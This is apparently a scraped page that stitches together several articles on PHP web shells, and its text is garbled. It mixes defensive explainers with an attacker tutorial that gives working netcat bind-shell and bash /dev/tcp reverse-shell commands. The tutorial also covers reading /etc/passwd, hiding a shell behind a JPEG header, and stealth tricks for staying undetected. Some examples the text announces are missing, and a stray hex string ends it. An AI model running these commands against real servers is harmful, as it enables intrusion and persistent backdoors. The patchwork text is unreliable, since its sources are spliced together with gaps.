Hack Web Shell Exec Php [UPDATED]
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A webshell is a shell that you can access through the web. This is useful for when you have firewalls that filter outgoing traffic on ports other than port 80. As long as you have a webserver, and want it to function, you can't filter our traffic on port 80 (and 443). It is also a bit more stealthy than a reverse shell on other ports since the traffic is hidden in the http traffic.
A web shell is a malicious script that provides an attacker with a convenient way to launch attacks using a compromised web server. Web shells can provide a permanent backdoor into web applications and related systems. Learn how web shells work, why they are dangerous, and what you can do to detect and prevent them.
A web shell is a malicious script that provides an attacker with a convenient way to launch further attacks using a compromised web server. Web shells are installed after successful initial exploitation and can provide a permanent backdoor into web applications and related systems. Learn how web shells work, why they are dangerous, and what you can do to detect and prevent them.
Cyberattacks usually involve many stages and may be prepared and executed over a long period of time. When an attacker finds an entry point via a web-based vulnerability, the next step is often to install a web shell for easier remote access. A web shell is simply a server-side script that provides a user interface for the attacker. This can be as simple as a single line of code added to a legitimate page to allow the attacker to send commands via an additional query parameter, for example:
There are many ways to install a web shell script. If the target application or web server can be tricked into accepting a malicious file upload or is vulnerable to local file inclusion (LFI) or remote file inclusion (RFI), this provides an easy starting point. Attackers might take advantage of a cross-site scripting (XSS) vulnerability to gain access to an administrative account and upload a script that way. Other common vulnerabilities, such as SQL injection, can also be exploited to achieve code execution and install a web shell or append shell code to an existing file.
Depending on local system privileges (existing or obtained through privilege escalation), attackers may be able to use the web shell just like a local command line prompt. For the minimum PHP web shell example provided above, the attacker would send URL-encoded system commands via the query parameter. Assuming a Linux/UNIX system, a typical command to get a list of user names and confirm code execution privileges would be cat /etc/passwd. To send and execute the command, the attacker would simply navigate to:
Real-life web shell commands often include obfuscation to avoid detection. Once an attacker has a web shell for remote access and system command execution, the possibilities for further malicious actions are practically unlimited. Data theft and drive-by malware installation are two common uses, but web shells are also used to create and coordinate botnets for distributed denial of service (DDoS) attacks. By using a compromised remote system as a botnet command & control server, malicious hackers can cover their tracks to avoid detection. If the attacker can modify other scripts or web server configuration files, another possible attack is to redirect visitors to a malicious site.
The reason for installing a permanent command interface in the first place is often to prepare the ground for long-term activities, such as espionage or mapping out internal networks to prepare attacks on high-value systems that are not Internet-facing. This requires stealth to remain undetected for a long time, sometimes many months, so web shell installations can modify the robots.txt file to prevent search engines from indexing the compromised web page or even the whole site. Another stealth tactic is to hide uploaded and modified files in directories where there are lots of other files, preferably ones that are also frequently modified, and change the time stamp of the last file modification in order to blend in with other scripts in the same directory. A common trick is also to embed malicious code in legitimate web application files and execute the commands with an additional query parameter.
Beyond minimalist shell codes used to gain an initial foothold, many more advanced web shells are available. Some of the better-known include b374k (a PHP web shell), WSO (short for Web Shell by Orb), and the advanced China Chopper web shell (commonly used in attacks originating from China). Full-fat web shells can include built-in features for file management, brute-force attacks, botnet command & control, and even detecting and removing other web shells on the compromised system.
The easiest way to set up a web shell is by simply uploading the script, so attackers like to target sites with built-in upload functionality, such as content management systems. Getting from upload to command execution requires loose server-side security, so PHP, with its permissive default settings, provides an attractive platform. After all, right out of the box, PHP allows applications to execute system commands and read their output, list system information, read and write files, spawn system processes, open network connections, and more.
It is a type of malware which is able to pass commands that are directly executed by the operating system. Attackers use these to gain complete access to the server (code execution), it's filesystem & databases. Shell scripts are used by attackers to escalate & maintain persistent access on vulnerable web application.
You have found a web request that allows you to execute commands on the server, or you have managed to find out how to upload a file that can be executed.Your goal now is to get a shell on the machine, which will allow a comfortable exploitation.You will use the tools installed on the server (netcat, bash, php, python, perl, ...) to open a shell on the server and connect it back to your host.
Netcat, is the Swiss army knife of connections between servers.It can listen, connect and launch shells.Older versions had the -e or -c option to launch a shell. Recent versions do not have this option anymore for security reasons.On Kali there is a version 1.10 in :
As long as your nc is connected, you block a thread of the web server.Depending on the configuration of the server, it can have 6, 16, 32 threads... This means as many nc in parallel before saturation.To free the server for friends:In the connected nc, choose a second port and launch a second netcat bindshell in the background:binshell:nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell:nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &The nohup command will detach the nc process from the current shell.Do a Ctrl-C to cut the nc connection, the page with your webshell will be freed. Another user can connect.Launch a new nc to connect to this new bindshell.
A bind shell is useful when our host is behind a NAT.This shell is fragile, a port scan will trigger it and close it.Launch a shell, open a listening TCP socket on port 4444, and give access to the shell to the first one who connects.
If you can upload a jpg file, it is possible to hide a webshell in it.A jpeg file is identified by its first bytes which have the value: ffd8ffe0 To generate a file that will be identified as having a valid Jpeg header:
Sites using PHP are widely targeted by hackers as one exploit can work across all of them. Often clever techniques are deployed to work maliciously behind the scenes. PHP web shell backdoor is one such malicious script or program designed to infect your website secretly.
These days, PHP is the main engine powering almost any popular CMS like Prestashop, WordPress, Magento, etc. This server-side scripting language is so popular that it powers almost 80 percent of websites on the internet today. However, sites using PHP are also widely targeted by hackers as one exploit can work across all of them. Often clever techniques are deployed to work maliciously behind the scenes. PHP web shell backdoor is one such malicious script or program designed to infect your website secretly.
PHP web shell backdoors are basically malicious scripts and programs that are designed to perform a variety of malicious actions on your site. Simple web shells are command-based scripts. A PHP web shell allows attackers to manage the administration of your PHP server remotely. The attackers can access it using a URL on the internet. More complex web shells can also directly access the memory.
A generic PHP web shell backdoor allows attackers to run commands on your PHP server much like an administrator. At times, the attackers may also attempt to escalate privileges. Using this shell, the attackers can:
The first step is to initialize the system variables. While doing so, the web shell ensures that no errors are printed out to evade detection. This is done by creating an x_die function. Whenever there is an error, messages regarding the issue are passed through this function. This function then uses the die() function of PHP to exit the current script.
The next step is to check if the web shell can execute commands on the PHP server. For this, the generic PHP web shell checks various executing functions of PHP like the exec(), system(), etc.
Thereafter, it also checks for safe mode on the PHP server. Safe mode of PHP is often deployed on shared servers. This is a feature which verifies that the process which has opened a particular file is run by a verified user. In case safe mode is enabled, the web shell stops further execution.
Deleting the web shell is not merely enough to secure your site. The attackers can still upload a new shell using the vulnerability on your site. For an average user, detecting this vulnerability may not be easy. So, it is recommended to use a security solution to automate this process. 2b1af7f3a8